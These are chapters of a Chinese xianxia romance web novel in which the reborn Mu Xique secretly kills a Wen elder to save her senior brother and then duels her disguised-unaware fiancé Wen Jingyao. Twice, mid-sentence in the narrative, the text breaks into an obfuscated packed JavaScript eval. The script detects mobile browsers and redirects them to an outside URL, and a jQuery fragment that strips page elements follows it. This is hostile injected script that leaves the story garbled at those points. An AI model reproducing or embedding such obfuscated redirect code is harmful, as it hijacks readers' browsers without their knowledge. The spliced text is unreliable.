慕夕阙莞尔一笑:“白日我要修炼,戌时倒是有空,你到时来画墨阁找我。” 闻惊遥听明白她的意思,仰头看她,眼尾弧度柔和许多:“好。” 慕夕阙歪歪脑袋,发髻上他送的玉簪垂下的流苏一摇一晃,笑盈盈看着他:“可一定要守时哦,不然我会生气的,我从不等人,一刻也不多等。” “嗯,我记住了。” 闻惊遥上前一步,仰头看她,眼底的笑意明显。 “明日见,夕阙。” 5.第 5 章 “师姐……我觉得你说得对。” “对什么?” “闻少主确实挺好的!” 姜榆坐在院中,双手捧着下颌,看闻家弟子抬了一箱箱礼进出画墨阁,尚带了婴儿肥的脸也因激动染了些绯意。 “你瞧瞧你昨晚刚到闻家,这些玩意儿一早便加急赶到了,闻少主昨夜定是没睡亲自去采办的……不过他哪来这么多钱?” 黄花梨拨步床,金丝鲛绡纱幔,白玉妆奁…… 大到床榻书案,小到女子梳妆用的妆奁和铜镜,一应俱全,用材皆是十三州内能寻的至品,闻惊遥一早便差人送来的。 慕夕阙正靠在尚未搬进屋内的贵妃榻上,一手把玩水镜,闻言头也不抬:“你当闻惊遥缺钱吗?” 姜榆“唔”了声,嘀嘀咕咕说:“不缺吗,闻少主平日穿得素,除了那把剑值钱点,好像没什么贵重玩意儿,全身上下当了,估计还买不起师姐你的一根簪子呢。” 慕夕阙抬眸。 姜榆赶忙摆手:“我没有说师姐是个挥金如土的纨绔之意!” 不打自招,越说越心虚。 慕夕阙重活一世脾气倒是好了不少,没计较她的话。 “他在清心观长大的,对身外之物没那般看重,但一家少主,又怎会缺钱,财不外露罢了。” 十三州没人不知清心观,每家每派吓唬孩子怕都提过——若你再这般不听话,就将你送去闻家清心观里。 顾名思义,清心养性的地方。 像他们这种生来尊贵的世家子弟,根本过不惯清心观那种忍饥受冻、锻体炼心的日子,但闻家每个嫡传弟子都要进去待上十年,耐霜熬寒只为塑心明道。 而慕二小姐打小便没吃过物质上的苦。 姜榆偷摸看了眼自家师姐:“……越看越觉得你和闻少主哪哪都不般配。” 她顿了顿,补充道:“脸也是,你看起来像会欺负闻少主。” 慕夕阙忍住揍她的冲动,坐起来,瞥了她一眼:“你还有事吗?” 姜榆瘪嘴:“没事就不能来找你吗,大师兄也不知道在帮师娘忙些什么,一整日都不见人,我太无聊了。” 慕夕阙劝道:“那就去修炼,你成日这般懒,我娘早晚教训你。” 姜榆捂住耳朵:“为什么都说我懒,我明明什么都没干。” 慕夕阙站起身,歪歪脖子活动筋骨,懒洋洋朝后院走去:“我几日没抽你功课了,今晚抽查,你就在这里练。” 姜榆:“……?” 姜榆大喊:“师姐,你还是人嘛!” 慕夕阙摆摆手:“你还有两个时辰。” 画墨阁的修建确实下了功夫,碧瓦朱甍,楼阁台榭,廊腰缦回,曲曲环绕,修缮风格与整个闻家主宅格格不入,坐落在主宅灵气最充沛的地方,依山傍水,后山便是一整条瀑布。 慕夕阙绕过前院来到后院,那是个避暑的凉亭,上下两层,整个二层全部打通,放置了些休憩用的软椅和竹榻。 她寻了个地方躺下,如今尚不到酉时,天还未黑,遥遥望去,还能瞧见挂在天际的晚霞。 闻家在十三州东境,靠海,云也比淞溪的厚实有型,碧蓝如洗的天际上悬几块几乎可以伸手即触的凌云,倒是让她想起来海外仙岛。 前世慕夕阙在海外仙岛生活了数十年,那里的天好像永远都比十三州的蓝,烟岚云岫日日可见,若非她有仇未了,怕也想在那里过完余生。 可惜最后落得个英年早逝的下场。 “夕阙。” 有人唤她。 慕夕阙侧首垂眸看去,她躺在凉亭东南角,只有个护栏阻挡,而两层阁楼之下,松径小道上,一人正负手而立仰头看她。 不知道他在这里站了多久,两人修为境界相同,若不细心留察,慕夕阙也很难觉察他的气息。 闻惊遥腰间佩了把剑,见她看来,率先开口:“今日我当值西街,途经画墨阁,便来看看你,东西你可还喜欢?” 他送的东西就是前院搁的那些物什寝具。 慕夕阙翻了个身侧躺,一手撑在侧脸之下,与闻惊遥面对面,没回答,转而问他:“花了不少钱吧?” 闻惊遥似乎笑了下,耐心解释:“我还是有些银钱的,画墨阁去年修建完毕,还未来得及添置太多寝具,是我们疏忽。” 慕夕阙低头凝视他腰间挂的另一半同心玉牌,视线上移,落至闻惊遥面上,问他:“你们就这般确定这桩婚事会成?竟连房舍都提前修好。” “不确定。”闻惊遥说,顿了顿,又道:“就算成不了婚,你日后若来游玩,也有个住的地方。” 慕夕阙幼时与闻惊遥关系还是不错的,他们两家世交,记事起就在一起玩,但自打知晓婚事后,她便避闻惊遥如蛇蝎,闻家更是没再来过,游玩的可能性微乎其微,上一辈子她到死都不知道闻家还修了个画墨阁。 不知该说傻,还是说有钱烧的。 “嗯,挺喜欢的。”慕夕阙淡声回答,面上没什么情绪,懒散坐起来倚趴在护栏上。 她在凉亭顶层,闻惊遥站在凉亭下,两人一高一低。 慕夕阙看了眼他的腰间,劲瘦的腰身被青玉腰封束住,更显苍劲,他的伤应当在左腰间,那里残存的刀气分外浓重。 “伤好些了吗?” “在疗伤,刀气还有些没拔除,不碍事的。” 慕夕阙又问:“能打架吗,我还想和你比试一场呢,在慕家都没人陪我打架。” 闻惊遥回道:“如今伤未好全,打不尽兴,等我几日,修养好了和你过招。” “好,那你疗伤,有需要唤我。”慕夕阙又躺了回去,半眯起眼似乎困倦了,连说话都有气无力了些,“你去当值吧,巡完街记得给我买糖蒸板栗,馋那个了。” 这次她确定他是笑了的,慕夕阙听到一声清冽的笑音,声音不大,但足以听清。 “我记住了,我会在亥正前赶回,夕阙,你好好休息。” 慕夕阙闭上眼,缩了缩身子,从喉咙里挤出声带了困音的回应:“……嗯。” 他走了,凉亭下脚步声渐渐远去,慕夕阙睁开眼,望向高挑挺拔的青影,眼底半分困倦都无。 她翻身坐起,前院还有猎猎风声,是姜榆在修炼,她直接掐了个隐身符篆大摇大摆从姜榆身前走过,这法术还是前世她逃亡那阵子从海外仙岛学来的,对元婴以上的修士没什么用处,但对如今金丹境界的姜榆来说倒是足够了。 姜榆感受到一阵风过,她吸了吸鼻子,从这阵风中嗅到一抹馥郁的香气,再凝神去闻,却又什么都闻不到了。 “奇怪……师姐最近熏香太浓了吗,怎么前院都能嗅到。”姜榆挠挠脑袋,没多想。 她最怂慕夕阙抽查功课,整个慕家只有慕夕阙真的敢罚她,每次她这位卷王师姐要考她时,姜榆势必要临时抱抱佛脚。 从闻家出来后便是处开阔林地,林中阵法遍布,若非闻家门人,无人带路,稍有踏错便会触动高阶杀阵,闻家兵力布防是整个十三州除鹤阶外最强盛的,集闻家千年来数百位大能毕生心血。 慕夕阙却如过自家一般穿过闻家玉灵,踩过那足以绞杀洞虚修士的阵法,等从闻家防御彻底出来,她停下,回头看了眼,远远只能看到一片郁郁葱葱的林木。 腰间镌刻“遥”字的同心玉牌正闪着微微荧光,有闻惊遥的气息相护,玉灵和结界阵法果然没拦她。 - 悬在天际的最后一丝余晖沉入山后,半个时辰前下了一场小雨,地上累积了不少淤泥。 寒风忽起,蔺九尘穿过狭而长的巷道,这里泥路多年未曾修缮,马车进不去,他就只能下车步行,边走边皱眉:“什么鬼地方。” 手中水镜嗡鸣了瞬,蔺九尘接通:“师娘,我到了。” 朝蕴的声音自水镜对面传来:“不必多礼,若对方不说,便打到他说。” “好。”蔺九尘应下。 “万事小心,若有不对即刻回来。” “是,您放心。” 蔺九尘切断水镜,按照先前收到的讯息来到一处破败草屋前,这里像是许久无人居住,他没走大门,翻墙而过。 只是从围墙上扫了下,衣袂便染上了一层陈年灰尘,蔺九尘眉头又拧了起来,捞起衣袂就开始拍。 没拍两下,他顿住,抬眸看过去,方才那股嫌弃劲儿一扫而尽,取而代之的是懒散姿态。 “阁下明明到了,却藏在暗处不肯现身,是长得丑无法示人,还是心里憋着什么坏呢?” 暗处阴影诡谲,这院里未点一盏灯,雨停之后出了月亮,皎光洒至院中,却照不亮破败草亭之后的犄角旮旯。 冥秽之中,有人安静停立,目光灼灼望着他。 “听闻倦天涯乃十三州第一炼器阁,天级品阶的锻器师却只有三人,一人擅锻剑,一人擅锻暗器,还有一人虽年轻,却极擅锻刀。”蔺九尘踱步走去,踩上早已干掉的枯叶,清脆窸窣声在寂静的夜里分外清明。 “不知徐公子能否为在下锻一把刀,赠予恩师?” 有人笑了一声,紧接着,清冽如泉水的声音响起:“你能出多少钱?” 蔺九尘眉头一挑有些诧异,这人声音倒是清澈干净,瞧着不像那种抡大锤打铁、常年受烟熏火燎侵袭的人。 “阁下要多少,在下便有多少。” “可是公子的师父不是死了吗?”那人顿了顿,又道:“我记得先慕家主慕峥主修阵术,死于十三年前,怎么死的来着……想起来了,祟难,一艘载客的灵舟上竟然有只高境祟种。” 蔺九尘面无表情,抽出腰侧的长刀。 阴影处的人“唔”了一声:“抱歉,又想起来了,蔺公子还有个师父呢,任前辈,想必您方才所说的恩师是那位吧……可他好像失踪了?” 话音刚落,蔺九尘拔刀便劈,凛然刀光呼啸冲去,照亮黑暗,映出藏在冥秽里的雪衣青年,一头长发竟是霜白,铁质面具遮住下半张脸,只露出一双毫无情绪的眼眸。 徐无咎抬手,一根小臂长的镀金长棍从袖中飞出竖立在身前,棍身飞快旋转,蔺九尘的刀光与之相撞,轰然炸开,威压掀起满地泥尘。 他抬手握住,单手下挥,棍身凛然,与蔺九尘隔着满园尘埃对视。 “任风煦失踪前见过的最后一人是我,包括当年慕家主死时我也在,关于他们的事情,我知道的远比你多,蔺公子此番前来还有朝家主的意思吧,她追了我这么多年,不累吗?” 徐无咎冷着脸,一手握紧长棍:“不如我们来做个交易,你只需要告诉我十二辰是何物,我便告诉你我知道的一切。” 院里静得骇人。 一息,两息,蔺九尘开口:“你要十二辰作甚?非主人无法使用神器,如今十二辰无主,你拿了也是个摆设。” “我可没说我要用。”徐无咎笑了下,“好奇不行吗,难道蔺公子不好奇可掌四时流转阴阳轮回的宝物,是否真的能借天脉之力敛骨吹魂呢?” 蔺九尘只是冷冷看着他,神容并未有半分波澜。 徐无咎慢慢走近,声量放低:“外人不知道十二辰是什么,连鹤阶都没见过,但你作为内门大弟子,是慕峥和朝蕴倾心培养的慕家栋梁,日后慕夕阙当上家主,你便是她的二把手,你知道十二辰为何物。” “难道你不想知道,任风煦在哪里,你师父的死因究竟为何?” 他走至蔺九尘三尺之距,而蔺九尘低垂眸子,动也不动,似乎被他的话蛊惑,心下正在犹豫挣扎。 徐无咎面上牵出的笑倏然散去,小臂长的棍子从两端横生半截,变成一根足有八尺高的长棍,他抬手便劈。 而一动不动的蔺九尘忽然抬眸,无形罡风萦绕周围,长刀悬立在空中,刀气凝成金刚圆罩护在身侧,抵挡了朝他劈来的长棍。 “任前辈死了,对吗?”蔺九尘开口,似早就猜到。 刀吟风落,只是眨眼之间,他的身影闪现至徐无咎身前,长刀架在他的脖颈处。 徐无咎面无表情,即使蔺九尘的刀再往前一寸便能划开他的动脉,他动也不动。 蔺九尘问:“十三年前我师父得知,有能祛除秽毒的神药就生在海外仙岛,为救长女,他乘坐灵舟前往海外,舟上却混入了只祟种,满舟三百人,只活了一个七岁的孩童。” “你在舟上。”蔺九尘用了力道,刀锋割破徐无咎的肌肤,血水顷刻间流出,“那孩童是你,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382707|184069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何活下来的?” 徐无咎垂了眼,面具遮住了大半张脸,目光毫无焦点落在地面,半分不回应蔺九尘。 蔺九尘的刀身又深了几分,最后一丝耐心也快耗尽:“说,我敢杀你。” 徐无咎没回答他的话,而是盯着地面说道,喃喃道:“原来你我都是棋子,我以为我与你有何不同呢。” 蔺九尘拧眉,顺着他的目光看去。 那坑坑洼洼的泥地中,覆盖在最上层的泥沙急速退去,仿佛底下有个吸附阵法,随着泥沙退下,写着晦涩经文的金色圆盘从地底浮现。 蔺九尘瞳仁微缩,反应迅速,一手抓起徐无咎的衣领将他扯起,两人迅速瞬移至草屋上方,可也已然来不及。 那地底浮现的圆盘已聚成半圆金刚罩,将整个院落包围起来。 几十里外,密林深处。 身着湖青长袍的中年男子淡声说:“杀阵已开,待两人为破阵筋疲力竭,你便去杀了徐无咎,将秽毒种在蔺九尘经脉中,后日礼宴鹤阶会派人前来,在那日必须除掉他。” 闻时烨抬手,掌心凝出个琉璃盏,晶莹剔透的瓶中却有一团浓黑之气正盘旋萦绕。 身后黑衣青年拱手行礼:“是。” 他抬手去接。 铮—— 昏暗之中,暗金流光划破虚空,割断脖颈,血线喷溅而出,温热的血液溅在闻时烨侧脸。 轰然一声,有人倒地。 闻时烨猛然转身,足尖轻踮退至数十丈后,他望向密林深处,刚停没多久的雨又下了起来,映出远处一道模糊的身影。 她步步走近,一张陌生普通的脸现出,闻时烨皱了眉,在脑海里思索这人究竟是谁,她给他一种强烈的危险感,能在他面前一击解决一个金丹满境的修士,修为定然不弱。 十三州现存的高手里,他找不出任何一张脸能与之完全匹配。 难道是易容了? 可他却瞧不出半分易容的痕迹,若非这人就长这副模样,那便只剩下一个可能性—— 她的易容术已臻至绝列。 “阁下哪位?”闻时烨拿捏不准来者到底修为几重,不敢轻举妄动,眯了眯眼,低声询问。 黑影从林中彻底走出,她弯眼轻笑,歪了歪脑袋,像看一个将死之人般看着他。 “来杀你的人啊。” 闻时烨猛然拔刀,抵挡来者不由分说砸来的剑光,长刀与剑光相撞的瞬间,从虎口传来一阵战栗,几乎让他险些握不住刀。 这女子的修为要高过他。 闻时烨活到现在还是颇为惜命的,他一边抵挡一边退避,说话也乱了几分:“冤有头债有主,我并不记得自己招惹过阁下。” 可那女子一句废话也不多说,她旋身挥剑,剑气化为刚猛杀意,那柄看似普通的剑响起旷古绝吟,一剑祭出,直逼他的命门,快到他根本瞧不清。 闻时烨用尽灵力抵挡,将那剑气化开后急速奔逃,猛吹厉哨,想唤一里外的暗卫现身,可哨声消散也未见一人出现。 无一人来。 已经全数死于她手中。 磅礴的杀气从身后逼来,他的脊背汗毛倒立,赶忙握刀转身抵抗,与长剑相撞,火光迸裂,两人目光对视。 闻时烨瞧见一双冷然的眸子,她的眼底淬着的,是决然强劲的杀意与仇恨。 他还听到一声飘忽、但又咬牙切齿的低喃:“怎么会无冤无仇呢?你可是害我失去了一位挚亲,如今险些让我失去第二个。” 话音落下,那行快剑的女子厉然抹剑,剑气偏锋侧近,击碎他的长刀,势如山岳欲摧般割断他的脖颈。 闻时烨愣愣望向面前的女子,那双轮廓普通到毫无特点的眸子,却让他在濒死之际想起了另一双眼眸…… 十三年前,他也是这般站在远处,看那浑身浴血的男子与那只祟种同归于尽,临死之前,那双往日温和的眼眸中闪着纯粹浓重的杀意,隔着十几人,精准看向他。 那人死前对他说—— “我们慕家任何一人枉死,只要慕家还有一人活着,便是穷尽万水、粉身碎骨也要雪恨,来日,我的徒弟,我的女儿定会取尔等项上人头。” 闻时烨捂住脖颈,“嗬嗬”吐血,声似破败风琴。 “你,你是……” 那三字未曾吐出,他已经倒地。 雨水冲刷了满地血迹,血水浸染慕夕阙的黑裙,她垂眸看去,随着炸起的雷光,看清了倒映在水面中的面容,那张与她真正面容没有一丝相关的脸。 前世一百多年里,慕夕阙学了一手登峰造极的易容之术,画皮捏骨,靠着这本事数次死里逃生,从鹤阶眼皮子底下招摇而过。 她抬剑,用那柄随意买来的剑在闻时烨衣衫上擦了擦,将血水全数抹去,回身来到那随从身边,捡起地上摔落的、装有秽毒的琉璃盏。 距今几十里外有处杀阵,这等阵法其实杀不了蔺九尘,但前世这秽毒便是趁蔺九尘破阵虚弱之际种下的,连他自己都未察觉。 在她与闻惊遥的订婚宴上,鹤阶长老亲至,随身携带的法器看出了蔺九尘身上的秽毒,慕家与鹤阶双方打斗,蔺九尘几乎被鹤阶打得半死,姜榆背着重伤的他逃往城郊,被鹤阶堵个正着。 十三州凡染秽毒之人,要么被鹤阶当场斩杀,要么自戕保全家族名声,蔺九尘选择了后者 ,等慕夕阙得知消息匆匆赶来后,只来得及收尸。 这雨越下越大,慕夕阙浑身已然湿透,她垂眸淡淡看了眼手里的琉璃盏,单手一挥,将它收进乾坤袋中。 如今她修为不如前世,易容术维持不了多久,她不能在此刻现身在蔺九尘面前,难保不会在助他破阵的途中易容术失效,左右这阵法只会困他一段时间,有徐无咎相助,蔺九尘伤不了。 慕夕阙转身,正欲离开—— 又一声闷雷炸起,骤雨急促,映出一道苍劲挺拔,模糊萧肃的身影,远远从林中走出。 他走近了,清俊的面容在十三州远近闻名,莹亮剔透的眸子只在她身后的尸身上停顿了一瞬,接着便安静收回,落在了她身上。 慕夕阙悄无声息握紧手中的剑,红唇翕动,雷声遮住了她的声音。 “……闻惊遥。” 6.第 6 章 主城巷道多,分为八大街,闻家弟子每日需在酉时巡街,闻惊遥虽是少主,这巡街的活却也是从十岁便开始干了。 他在戌时跟交班弟子对接完,看了眼天,已然黑透,没忘记慕夕阙交代的事情,转身便往城南走。 城南一处巷道里,有户姓张的糕点铺子开了有几十年了,慕夕阙幼时来玩便时常去买那家的糖蒸板栗,闻惊遥赶去后刚好赶上最后一笼出锅。 “闻少主,来了?”经营糕点铺子的是对老夫妻,年迈的张伯见他一来,密布细纹的眼睛弯起,“还是糖蒸板栗?” 闻惊遥将银两递过去:“对,麻烦帮我包一份。” 张伯连声应下,取出油纸熟练包好,冒着热气的板栗清甜。 “多谢。”闻惊遥接过包好的板栗,转身离开,他与慕夕阙约定的时间是亥时,如今只剩不到一个时辰了。 街上没多少人,想到家里那位大小姐,少年脚步快了些,一路往闻家主宅走,沿路遇到百姓朝他打招呼,也只是礼貌颔首应下,并未驻足停留。 倏然之间,闻惊遥停下,回身看去,目光冷淡,眉眼也阴沉了几分。 袖中闻家玉牌亮了起来。 “少主,城北结界玉灵异样,有血气。” “嗯,我现在去。”将板栗收入乾坤袋,闻惊遥片刻未曾犹豫,纵身跃上房檐,在青瓦上迅速瞬移,急速奔向城北。 房舍一间间后退,元婴满境的修士用了灵力瞬移,往日需步行一个时辰的路,他两刻钟便赶到了。 刚下过一场雨,地面泥泞,闻惊遥还未靠近城郊密林便感知到浓重的血气,他心下一沉,跃上一棵几十丈高的松木,开阔的视野一览无余。 满地横尸。 他来到一具尸身前,半蹲下来抬手翻看,这些尸身上都烙了灵印,应当是大家族那些贵客从牢里捞出的死囚,豢养成死士或影卫,替主子办些不方便出手的事情。 然而如今一个不剩,死状统一,全是抹了脖子一击毙命,下手的人应当没少干这种事,杀法果断,命门找得极准,不给半分活命机会。 闻惊遥拧眉,从他感知到灵力波动到他赶来不过两刻钟,这人能在这般短的时间里杀了十几人,修为定然不低,瞧这手法,像极了十三州那些刀尖过活的亡命徒。 炸起的惊雷照亮了密林,雨水冲刷尸身,血水淌了满地,闻惊遥起身,拽下腰间玉牌淡声开口:“直接来城北密林。” 闻家玉牌亮了瞬,接着有年轻的声音传来:“是。” 青影在林间快速奔移,闻惊遥一路上将十三州高手过了个遍,甚至连远在海外仙岛的影杀都想过,却唯独没想到,待瞬移至密林尽头,瞧见的会是…… 一个模样极其年轻的女子。 闷雷炸起,照亮这方林中的惨状,两人隔着雨幕对视。 闻惊遥会出现在这里,也是慕夕阙属实没想到的。 他今日当值西街,巡完街后应当正好戌时,慕夕阙特意叮嘱要吃城南那家的糖蒸板栗,闻惊遥赶过去买,还需在亥正前赶回闻家主宅,按理应当不会出现在旁的地方,尤其这是城北荒郊。 ……是玉灵。 慕夕阙反应过来。 闻家兵力强盛,结界玉灵也同样如此,传言比十三州所有世家都要强悍,慕家的玉灵只囊括了慕家主宅,但如今看来,闻家似乎不同。 闻家玉灵可不止囊括了闻家主宅,那是集结了闻家千百年来数位大能的毕生心血,一道坚不可摧的护甲,可以将整个主城包裹其中。 还礼宴连设三日,主城人多,结界玉灵定是全部开启,为时刻监护主城情况,防止祸乱。 她方才杀了太多闻时烨的死士,玉灵察觉到了。 慕夕阙毫不犹豫,抬手拔剑,刀剑风暴瞬息爆发,黑衣被罡风吹得猎猎作响,而那柄长剑挥出了如凤鸣般的剑光,劈开夜幕,直冲闻惊遥而去。 她并不恋战,心知闻惊遥来了这里,那闻家弟子怕是最多两刻钟便能赶来,挥出杀招后转身便跑,冰凉的雨水打在脸上,将额上的碎发打湿黏在鬓边。 身后疾风传来,脊背一寒,慕夕阙回身横剑,金色剑光与青光相撞,炸开的威压让两人同时后退几丈。 “为何杀人?” 闻惊遥旧伤未愈,贸然动用灵力,下唇沾了一点血色,他抬手擦去,一双眸子冷若寒潭幽谷。 慕夕阙还是第一次见少年时期的闻惊遥对她露出这种神情,毫无情谊,只剩审视。 同样是雨夜,同样是他们两人对峙,恍惚间让她想起来前世,她去救长姐却被闻惊遥堵住去路之时。 那晚他就是这般模样,冷眼瞧着孤立无援的她。 冰凉的雨水也浇不灭心里那团憋了多年的火气,慕夕阙在这种时候反而想笑,姿态散漫。 “因为有仇啊。” 她抬手就劈,长剑游龙般朝闻惊遥劈去,下手是绝对的杀招,毫不留情,两人的剑光如星,在瓢泼的大雨中往来交错,唳声赫赫。 直到两柄剑相撞,迸裂的火花照亮彼此的眸子。 擦身而过之时,慕夕阙死死盯着他的眼眸,红唇扯了扯:“欠债还钱,杀人偿命,天经地义不是吗?” 闻惊遥眼都没眨一下,趁两人交错之时,他一手借力抵住来者的剑,一手反转便要去抓慕夕阙的肩扼制住她。 慕夕阙不逃不躲,竟直接往他怀里扑去。 闻惊遥瞳仁微缩,侧身避开,而慕夕阙反手抽出腰间匕首,寒光乍现,刀尖直逼他的心口。 铮—— 匕首被抬手攥住,割破他的手心,闻惊遥面无表情,掌心用力划过匕首,隔着衣袖攥住慕夕阙的手腕,他力气极大,下了死劲。 慕夕阙没想到这人竟不躲闪直逼而上,猝不及防被按住,闻惊遥抬手横掌,一掌打在她的肩头,罡风顷刻间震断她的十几根经脉,慕夕阙呕出一口淤血,后背直接被他狠而重地甩上树干,他毫不留手,她觉得自己的肋骨估摸着也碎了根。 闻惊遥沉声:“闻家地界,容你放肆?” 少年抬手翻转,灵力化成的缚仙索现出。 慕夕阙咽下胸口淤血,猛然抬眸冲他一笑:“是吗?” 那张陌生普通的脸乍然一笑,明明他从未见过,心神在那一刻却陡然空了一瞬,恍惚间想起了另一双眼眸,艳丽张扬,看他的时候总带了些慵懒的意味。 下一瞬,缚仙索被刚强的灵力击碎,那把短小的匕首也能挥出至强的杀招,趁少年横剑抵挡之际,慕夕阙瞬移上前。 匕首在她的掌心转了一圈,直捅入少年左肩,割破血肉的声音在两人耳边炸起,她一手推刃,运转灵力将匕首尽数没入他肩中,震出罡风也碎了他数十根经脉。 闻惊遥眉头微拧,手上力道松了一瞬,慕夕阙反手扼住少年修长的脖颈,一个用力将他贯在树干上。 一声闷雷在不远处炸开,两双眼眸短暂相对,慕夕阙勾唇对他笑,活像厉鬼。 “我就放肆,你又能怎样?” 她迅速后退,一个纵身跃上树杈。 闻惊遥拔出肩头匕首,正欲抬脚去追,刚迈出一步,侧方地底猛然钻出根锐利竹尖,眨眼之间,一根接着一根的竹尖从地底冒出,密不透风将他团团围住。 少年目无情绪,仰头看向伫立在最高竹身之上的黑衣少女。 长而韧的青竹被压弯了些,而她轻盈落于其上,居高临下睥睨着被困于阵中的他。 “修为这般高,不如来给我练练阵吧,好好尝尝这万竹阵。” 百根,千根,盈千累万的竹尖移形换位,锋利尖头直冲闻惊遥而去。 慕夕阙头也不回,瞬移离开,黑影快出残风。 密林之中,大雨倾盆,簌簌猎声昭示着那里有场杀斗。 半刻钟后,又一声闷雷炸开。 与此同时,万竹阵中青光滔天,一剑横出,剑声长吟,剑光宛如浩海巨浪,地面如碎裂的蛛网,层层塌陷,那用灵力幻化出的竹子一根根崩裂,变为一缕烟尘。 闻家弟子们赶来之时,昏暗潮湿的林间小道倒了大片枯枝树叶,身量高挑的少年站在一片泥洼之地中正在收剑。 “少主!”闻家弟子上前,“您受伤了!” 闻惊遥今日出门穿了身云青长衫,此刻那身衣裳的尾摆沾了泥泞,而他的左肩之处一道血窟窿正往外冒血,血水浸湿了整个左肩,瞧着便分外骇人。 不仅如此,身上道道刺伤足有十几道,虽称不上致命的程度,却也不是轻伤。 “无事。” 他垂眸弯身,捡起地上掉落的匕首,那匕首模样普通,称不上臻品,随处可买。 “少主,距此一里外有十几具尸身,这……这还有……”那闻家年轻的小弟子看向远处,两具尸身横躺,小弟子唇瓣抖了抖,认出了那人是谁。 “闻长老……” 闻惊遥抬眸,琉璃瞳仁沉静若水,即使死的是他名义上的二叔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“今日练了些什么,我来考你。”慕夕阙裹了裹身上单薄的外衫,绕过姜榆朝前院走去,路上不忘运功将头发烘干。 姜榆双手背在身后,蹦蹦跳跳跟上:“我背了两套阵术呢,还练了师姐上次给的剑诀。” 慕夕阙在石桌旁坐下,抬手斟茶,慢声说:“我看着,你练。” 姜榆拱拳道:“好嘞,师姐看好了!” 院里传来猎猎声响,慕夕阙小口抿茶,偶尔开口指点姜榆,她似乎也有些困了,半撑着脑袋。 闻惊遥到画墨阁的时候瞧见的便是这幅模样,慕夕阙换了身金色衣裙,似乎刚沐浴过,尚未挽发,青丝如瀑般垂落,搭在她的肩头,有些落在桌上,而她一手托腮,宽大的袖摆顺着手腕下滑,露出一截凝脂般细腻的腕子。 姜榆是第一个发现闻惊遥的。 “闻少主,你身上有血!” 慕夕阙侧眸朝他看来,目光落在他肩头的伤处,他这一路赶来并未收拾,衣裳倒是被烘干了,那血窟窿却还在渗血。 她仍旧托腮,并未如姜榆那般惊骇,而是看着他:“你回来了。” 姜榆慌乱翻找乾坤袋,闻惊遥走上前来,淡声阻止:“多谢姜姑娘,我无事,可否让我跟夕阙待会儿?” “可是你的伤……”姜榆神色踌躇,指了指他的肩头。 闻惊遥脸色不太好,但神情依旧是平日的淡然,说道:“无事,劳姜姑娘忧心。” “师姐……”姜榆只能犹犹豫豫看看自家师姐。 慕夕阙坐直,将一本剑谱递过去:“剑招迟滞,下盘不稳,只会守不会攻,这本剑法回去练练,半月后我再抽查。” “师姐。”姜榆小脸一垮,窝窝囊囊说:“我就是个阵修,画个阵施个法,你老让我练体术这些拳脚功夫作甚?” 慕夕阙斜她一眼。 姜榆立马堆起笑,双手接过剑谱连连应和:“练,我练。” 她抱着剑谱,又看了眼闻惊遥,小声说道:“那我先走了,闻少主你跟师姐说话吧。” 她走了,顺带关上了门,院里只剩慕夕阙和闻惊遥两人。 慕夕阙站起来踱步走向闻惊遥,站至他身前一步之遥。 “你受伤了。”纤细的手抬起,指腹轻触少年肩头的伤,慕夕阙抬眸与他对视,闻惊遥眸光仍旧平静,黑沉沉地看着她。 “伤很重,你疼吗?” 7.第 7 章 慕夕阙神情平淡,微微仰头看他,他那身青色衣物早已被血洇透呈现一种浓黑的颜色,她并未碰多久,手腕被人攥住。 闻惊遥用了些力道制止:“脏。” 慕夕阙抬眸看他:“我脏?” “不是。”闻惊遥当即否认,“血脏,别碰。” 慕夕阙也不抽手,就任他握住,她盯着他的伤口凑近了些:“再往下几公分便是你的命门了,能伤你至此,这人还挺厉害。” 闻惊遥低头看她,两人距离太近,她一心钻研他的伤口,脸几乎要贴在他身上,根根长睫分明。 诚如她所说,那人实力强劲。 闻惊遥扣住她的手腕,指尖无意识蜷了蜷,问道:“夕阙,你今日可有出门?” 慕夕阙眉梢微扬:“出去干什么,你走后我睡了会儿,刚沐浴完,等你来找我,怎么?” 闻惊遥看了她许久,慕夕阙坦坦荡荡,没有半分心虚。 末了,少年抬手,替她摘去落在发顶上的落花。 “无事,只是问一问。” 两人身量差了一头,双目对视,闻惊遥看着她的眼眸。 与那女子对视之时,他在那一刻竟然想到了慕夕阙,仿佛她就在眼前。 “你要跟我贴到什么时候?”慕夕阙冷不丁开口。 闻惊遥眨了眨眼,反应过来:“抱歉。” 他松手后退一步,拉开了两人的距离。 慕夕阙揉揉被他攥了许久的手腕,头也不回朝屋内走去:“过来。” 闻惊遥闷不做声跟上去,这是画墨阁的主阁,四根汉白玉柱子支撑起来,雕栏玉砌,奢靡威严,他送的那些寝具物什规规矩矩摆了进来,将寝殿垒得满满当当。 “坐。”慕夕阙进去后也没回头,抬手指了指搁在前厅的竹榻,随后她拨开珠帘走向后厅。 闻惊遥在榻边坐下,笔直端正,目不斜视。 慕夕阙端着药出来,瞧他这幅板正模样,笑了声走上前去,将托盘搁在竹榻上的小几,一手直接去解少年腰封。 “夕阙。”闻惊遥反应很快,按住她的手,素来冷静的眼眸中愣是瞧出了些仓皇,“……做什么?” 慕夕阙柳眉微拧:“上药啊,伤口这般深,你自己能处理?” “闻家有医师。”闻惊遥道,“不碍事的。” 慕夕阙嗤了一声:“如今要亥时了,你家医师晚上不休息?” “……我自己也可以。” “别磨磨唧唧的,小时候我又不是没帮你疗过伤。”慕夕阙本就不是多有耐心的人,似乎恼了,跟过去怼他时候一模一样,呛得他说不出话。 